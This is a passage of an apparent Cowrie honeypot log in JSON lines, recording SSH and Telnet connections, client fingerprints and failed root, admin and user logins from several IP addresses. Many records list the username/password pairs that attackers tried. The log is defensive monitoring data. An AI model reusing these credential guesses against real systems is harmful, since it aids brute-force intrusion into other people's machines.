AAAAB3NzaC1yc2EAAAADAQABAAACAQDbbXYYSurof8R4gtNZhWdYwAG5WGKulMH8+xAhZWSq3cUMzV94Kjk//h7qaYJTBP2ko84yd0jDHshP4f33ZkgpV3hOfLSqb9/pqdNw6JLAUVQPoW8bEGms7eiuWSwf08dQ6pMFn1BqAMED9unfCW6fpub+Cywwk2jC8wUBDfTYw877IjM5XhIxC6Y209GUMirHMUsb7PrEHlT49qhgOh+m6hY8KGkfa/OPEYMC0AwgzfuABjTCTOSnSHE+WzI3ayrtEwOiwNzyMEIa2Gv0gQvO6r2dzXmSWL018GHCN0CA9aa/gm5yPUW8xZUdPW2WQJ8VBZ6jLf3Rh/5JB989hZ2iBe7YBx9bYsRMgkidOfTBYCZlDAjSWXQpNWYc4ui0KUM4ILfGUs6DzrjE8C+osBlhdibd+B6akH+MT3q8xWQ9ZnRToGprlLp/IVeMcl87xofm4pKtf3mNJgpd0tvoyPRCJH4u5k1pQO2yPCkANBHkheDn48Y1WWpmJ9BeYx4dc3ezjV9VP+h9UYzw4nkE74NsDFIxmkbfyKeF6NMJioODJ/WFoWKmDlSFCJHofPwsobL3mZni3VIW3q3Q27YwRnPU3f9d4qpr7FgD/Nttdqaq4YMiMZWBGL6ybpz184MisQsBW/rdZFD5FbGEHT6X/zthUCxEiEIg1epzPqoG4q3C2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:08:0c:bf:ba:73:96:da:2e:ee:f6:28:b9:ac:1a:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.716335Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:08:0c:bf:ba:73:96:da:2e:ee:f6:28:b9:ac:1a:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbbXYYSurof8R4gtNZhWdYwAG5WGKulMH8+xAhZWSq3cUMzV94Kjk//h7qaYJTBP2ko84yd0jDHshP4f33ZkgpV3hOfLSqb9/pqdNw6JLAUVQPoW8bEGms7eiuWSwf08dQ6pMFn1BqAMED9unfCW6fpub+Cywwk2jC8wUBDfTYw877IjM5XhIxC6Y209GUMirHMUsb7PrEHlT49qhgOh+m6hY8KGkfa/OPEYMC0AwgzfuABjTCTOSnSHE+WzI3ayrtEwOiwNzyMEIa2Gv0gQvO6r2dzXmSWL018GHCN0CA9aa/gm5yPUW8xZUdPW2WQJ8VBZ6jLf3Rh/5JB989hZ2iBe7YBx9bYsRMgkidOfTBYCZlDAjSWXQpNWYc4ui0KUM4ILfGUs6DzrjE8C+osBlhdibd+B6akH+MT3q8xWQ9ZnRToGprlLp/IVeMcl87xofm4pKtf3mNJgpd0tvoyPRCJH4u5k1pQO2yPCkANBHkheDn48Y1WWpmJ9BeYx4dc3ezjV9VP+h9UYzw4nkE74NsDFIxmkbfyKeF6NMJioODJ/WFoWKmDlSFCJHofPwsobL3mZni3VIW3q3Q27YwRnPU3f9d4qpr7FgD/Nttdqaq4YMiMZWBGL6ybpz184MisQsBW/rdZFD5FbGEHT6X/zthUCxEiEIg1epzPqoG4q3C2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.720742Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:1c:df:bf:a8:ef:5d:d4:55:45:c2:b5:ac:9f:8e:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXDpRRMiV8wvZLJIKfsFT3gUeVKo6XA7vbDEVLOXO/sjwrV8c7V8q1YaIfNcn6sLRdsVJgYd8GGYykKfUCTwSCbaviA0zi6k0/XaTCOWyhGOov38Mek5XgAoM/WvqAgxO29e/VJbQ6PBFPXDujiSX8JnbGaw/ENVdRqemurCV+zdyEzA0njQQeLE6/GIhUCrKX3S4RJiE3mC66YlmR3CyxwoVW9pHwip3xZl5/G0S/MYyKiG/r2FtajC047oePtNknGMWfrzfJbQXL8zvytHdLmMaMK+X5pLMBV4jEPua6YQLxt10UQWi7/dU5kADbeSSmUMeeElpReQF9ejQ7kZa7bzFK9M7Sn2d+lbwJX+WsijKRiGxzguU9fzI/YXyBJ9Ulb+G4abxF7c2ZU/RknOG92+i4UM2gaXkKyFOmvrBn7lH5ggfR9vp4hvyccrMJqSykcIjgRABGfiDEVJnt7xDhtRyZEzpQ1Bknq8J3k8sSOe1fwsBtPo2emfbkyZ7ot0KkMsRxlQ172BKiZSbQT2X4xfCKw38REK/q5fGowQljtObSNSzhuuSfR02ECWYi/feMZmvTV8pzMgI07KuUFoVHG63ceqiCLg+BVe33IDOZaM+jZuNB1FI6Iu/ONfxh6srfbResYwPeDJ+v3U2qyCFtnNXFu1AiQ1a+WoE5F0cDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:1c:df:bf:a8:ef:5d:d4:55:45:c2:b5:ac:9f:8e:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.731030Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:1c:df:bf:a8:ef:5d:d4:55:45:c2:b5:ac:9f:8e:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXDpRRMiV8wvZLJIKfsFT3gUeVKo6XA7vbDEVLOXO/sjwrV8c7V8q1YaIfNcn6sLRdsVJgYd8GGYykKfUCTwSCbaviA0zi6k0/XaTCOWyhGOov38Mek5XgAoM/WvqAgxO29e/VJbQ6PBFPXDujiSX8JnbGaw/ENVdRqemurCV+zdyEzA0njQQeLE6/GIhUCrKX3S4RJiE3mC66YlmR3CyxwoVW9pHwip3xZl5/G0S/MYyKiG/r2FtajC047oePtNknGMWfrzfJbQXL8zvytHdLmMaMK+X5pLMBV4jEPua6YQLxt10UQWi7/dU5kADbeSSmUMeeElpReQF9ejQ7kZa7bzFK9M7Sn2d+lbwJX+WsijKRiGxzguU9fzI/YXyBJ9Ulb+G4abxF7c2ZU/RknOG92+i4UM2gaXkKyFOmvrBn7lH5ggfR9vp4hvyccrMJqSykcIjgRABGfiDEVJnt7xDhtRyZEzpQ1Bknq8J3k8sSOe1fwsBtPo2emfbkyZ7ot0KkMsRxlQ172BKiZSbQT2X4xfCKw38REK/q5fGowQljtObSNSzhuuSfR02ECWYi/feMZmvTV8pzMgI07KuUFoVHG63ceqiCLg+BVe33IDOZaM+jZuNB1FI6Iu/ONfxh6srfbResYwPeDJ+v3U2qyCFtnNXFu1AiQ1a+WoE5F0cDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.735099Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.744105Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:31.870557Z","src_ip":"47.237.167.49","session":"6f7f340d8db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:33.106440Z","src_ip":"47.237.167.49","session":"6f7f340d8db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ace06226d54","protocol":"telnet","message":"New connection: 152.42.224.71:48712 (10.17.0.5:23) [session: 3ace06226d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:33.278452Z"}
{"eventid":"cowrie.session.closed","duration":36.54043984413147,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:38.432271Z","src_ip":"152.42.224.71","session":"375aa06bd086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6520791053772,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:42.065621Z","src_ip":"152.42.224.71","session":"160c4df8a8fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.006839752197266,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:45.843691Z","src_ip":"152.42.224.71","session":"bd51f36f6a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6714b04ead0","protocol":"telnet","message":"New connection: 152.42.224.71:57476 (10.17.0.5:23) [session: b6714b04ead0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:52.901299Z"}
{"eventid":"cowrie.session.closed","duration":34.98858404159546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:53.022396Z","src_ip":"152.42.224.71","session":"0e781613640a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33330,"dst_ip":"10.17.0.5","dst_port":23,"session":"66cb587ffcb3","protocol":"telnet","message":"New connection: 152.42.224.71:33330 (10.17.0.5:23) [session: 66cb587ffcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:57.539162Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6c507a28ce","protocol":"telnet","message":"New connection: 152.42.224.71:33346 (10.17.0.5:23) [session: 0b6c507a28ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:59.728001Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":43917,"dst_ip":"10.17.0.5","dst_port":22,"session":"0186a8a6a15e","protocol":"ssh","message":"New connection: 2.57.121.25:43917 (10.17.0.5:22) [session: 0186a8a6a15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:01.722275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:01.733480Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:01.834873Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240386","message":"login attempt [user/240386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:02.306179Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24021992","message":"login attempt [user/24021992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:03.409238Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240187","message":"login attempt [user/240187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:04.512356Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.925904750823975,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:04.794426Z","src_ip":"152.42.224.71","session":"02d8bf567465","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"23121977","message":"login attempt [user/23121977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:05.615894Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35075,"dst_ip":"10.17.0.5","dst_port":22,"session":"d135df1fda49","protocol":"ssh","message":"New connection: 2.57.121.112:35075 (10.17.0.5:22) [session: d135df1fda49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:06.045135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:06.050225Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:06.158525Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"anthea","message":"login attempt [admin/anthea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:06.651847Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111980","message":"login attempt [user/23111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:06.720704Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"annelies","message":"login attempt [admin/annelies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:07.760336Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:07.823899Z","src_ip":"2.57.121.25","session":"0186a8a6a15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aniston","message":"login attempt [admin/aniston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:08.868473Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angelo4ek","message":"login attempt [admin/angelo4ek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:09.979235Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel777","message":"login attempt [admin/angel777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:11.086412Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49210,"dst_ip":"159.203.135.109","dst_port":22,"session":"7824647e8a69","protocol":"ssh","message":"New connection: 103.15.222.183:49210 (159.203.135.109:22) [session: 7824647e8a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:11.169417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:11.174409Z","src_ip":"103.15.222.183","session":"7824647e8a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:11.418763Z","src_ip":"103.15.222.183","session":"7824647e8a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:12.216776Z","src_ip":"2.57.121.112","session":"d135df1fda49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poiuy","message":"login attempt [root/poiuy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:12.237172Z","src_ip":"103.15.222.183","session":"7824647e8a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.4916307926178,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:13.168278Z","src_ip":"152.42.224.71","session":"59f3633a93c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:13.481436Z","src_ip":"103.15.222.183","session":"7824647e8a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59680,"dst_ip":"10.17.0.5","dst_port":23,"session":"74eeb53395a0","protocol":"telnet","message":"New connection: 152.42.224.71:59680 (10.17.0.5:23) [session: 74eeb53395a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:14.297412Z"}
{"eventid":"cowrie.session.closed","duration":25.355339288711548,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:18.256511Z","src_ip":"152.42.224.71","session":"b6714b04ead0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77c056a2811","protocol":"telnet","message":"New connection: 152.42.224.71:39474 (10.17.0.5:23) [session: d77c056a2811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:19.749252Z"}
{"eventid":"cowrie.session.closed","duration":52.55100226402283,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:21.978288Z","src_ip":"152.42.224.71","session":"3585dcd91878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"01dbd41135d7","protocol":"telnet","message":"New connection: 152.42.224.71:39488 (10.17.0.5:23) [session: 01dbd41135d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:24.366989Z"}
{"eventid":"cowrie.session.closed","duration":30.802892208099365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:28.341945Z","src_ip":"152.42.224.71","session":"66cb587ffcb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46288,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff72d119b42e","protocol":"ssh","message":"New connection: 109.237.96.109:46288 (10.17.0.5:22) [session: ff72d119b42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:28.706851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:28.713529Z","src_ip":"109.237.96.109","session":"ff72d119b42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:28.806347Z","src_ip":"109.237.96.109","session":"ff72d119b42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fkbyjxrf","message":"login attempt [root/fkbyjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:29.085950Z","src_ip":"109.237.96.109","session":"ff72d119b42e","protocol":"ssh"}
